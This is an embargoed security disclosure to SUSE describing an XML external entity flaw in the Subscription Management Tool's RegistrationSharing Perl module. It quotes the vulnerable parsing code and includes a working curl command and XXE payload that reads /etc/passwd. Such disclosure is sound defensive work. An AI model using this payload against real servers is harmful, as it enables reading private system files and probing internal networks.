EMBARGOED

reported by ebx@riseup.net via mail to security@suse.de

[...] current release (v3.0.32) of the Subscription Management Tool (https://github.com/SUSE/smt) [...] in the RegistrationSharing module 

The first vulnerability is an XXE that can be exploited during both the `deleteSharedRegistration` and `addSharedRegistration` subroutines. In RegistrationSharing.pm, the `_getXMLFromPostData` subroutine (https://github.com/SUSE/smt/blob/SMT12/www/perl-lib/SMT/RegistrationSharing.pm#L342) contains code to parse XML data from POST requests (utilized in the aforementioned routines):
    
    ...
    my $postData = shift;
    my $xml;
    my $parser = XML::LibXML->new();
    eval {
        # load_xml not available on SLES 11 SP3 due to version of
        # LibXML and underlying libxml2
        #$xm = XML::LibXML->load_xml(string => $postData);
        my $POSTDATAFL = File::Temp->new(SUFFIX=>'.txt');
        $POSTDATAFL->write($postData);
        $POSTDATAFL->flush();
        seek $POSTDATAFL, 0,0;
       $xml = $parser->parse_fh($POSTDATAFL);
    };
    ....
    
The code creates a new XML parser, dumps the POST data to a new temporary file and then uses the previously created parser to parse the XML from the temporary file. The problem here is that Perls LibXML library by default allows external entities to be loaded. By sending a specially crafted XML payload it is possible to achieve DOS and SSRF. Additionally, due to a reflection point in code that echos back the entire XML document when no table name is specified (https://github.com/SUSE/smt/blob/SMT12/www/perl-lib/SMT/RegistrationSharing.pm#L293) it is possible to read arbitrary files from the machine. Here is an example payload that will read /etc/passwd:

curl -X POST -d @readfile.xml "http://<smt_url>/center/regsvc?command=shareregistration&lang=en-US&version=1.0"

readfile.xml:
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE test [
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >
    ]>
    <registrationData>
        <tableData>
            <entry columnName="NAMESPACE" value="">&xxe;</entry>
            <entry columnName="HOSTNAME" value="smt-client"/>
        </tableData>
    </registrationData>